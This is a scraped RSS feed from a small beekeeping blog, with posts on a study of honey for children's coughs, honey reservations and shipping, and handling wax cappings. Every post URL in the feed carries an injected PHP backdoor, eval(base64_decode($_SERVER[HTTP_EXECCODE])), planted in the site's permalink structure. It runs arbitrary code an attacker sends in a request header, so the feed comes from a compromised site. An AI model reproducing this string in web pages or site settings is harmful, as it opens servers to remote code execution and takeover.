beeblog » honey http://ct-honey.com/beeblog The Beekeepers' Forum Mon, 09 Mar 2009 13:40:41 +0000 http://wordpress.org/?v=2.7 en hourly 1 Using Honey to Lessen a Child’s Cough http://ct-honey.com/beeblog/2007/12/12/using-honey-to-lessen-a-childs-cough/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/12/12/using-honey-to-lessen-a-childs-cough/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 12 Dec 2007 15:59:36 +0000 stuart http://ct-honey.com/beeblog/?p=120 An article in the New York Times reports that a spoonful of honey is more effective than the medicine (Dextromethorphan, or DM) in common over-the-counter medications used by most parents.  The study was conducted by researchers in the Department of Pediatrics and the Department of Public Health Sciences in the College of Medicine at Pennsylvania State University, Hershey.  The findings were reported in the December issue of the Archives of Adolescent and Pediatric Medicine.  A summary of their findings, as well as links to related articles, can be found here.

In the summary, the authors conclude that a spoonful of buckwheat honey is more effective than DM (and also more effective than no treatment at all) in alleviating the coughing and associated difficulty in sleeping caused by upper respiratory infections for children aged 2 to 18.

The NY Times article is here.

Cough and cold season is upon us.  In Connecticut, some school districts have even closed due to illness.  If you would like to try this remedy on your own, click here to purchase honey.  Why not give it a try?

REMINDER: Honey should never be given to children before their first birthday.

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Our first harvest typicall sells out quickly.  If you would like to reserve honey now, send us an email letting us know.  Be sure to include include your name in the message.

This year, we will also be shipping our honey.  If you would like honey shipped to you, please include your address as well, so we can calculate the shipping costs.

]]> http://ct-honey.com/beeblog/2007/05/31/spring-honey-available-soon/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Cappings - What To Do With Them? http://ct-honey.com/beeblog/2006/09/17/cappings-what-to-do-with-them-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2006/09/17/cappings-what-to-do-with-them-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 18 Sep 2006 03:03:57 +0000 stuart http://ct-honey.com/beeblog/?p=38 What do you do with your cappings?  After extracting all my supers I’m left with several gallons of cappings and honey.  Normally, I feed the honey to the bees in the container I collect it in, but this invariably leads to many thousands of dead bees who either gorge themselves to death, drown themselves in the honey, or both.  I’d like to avoid this, if possible.  How do other beekeepers handle it?  If you have a solution to this problem, let us know, either in a comment or in a new post.  All ideas are welcome.  Share your solution!

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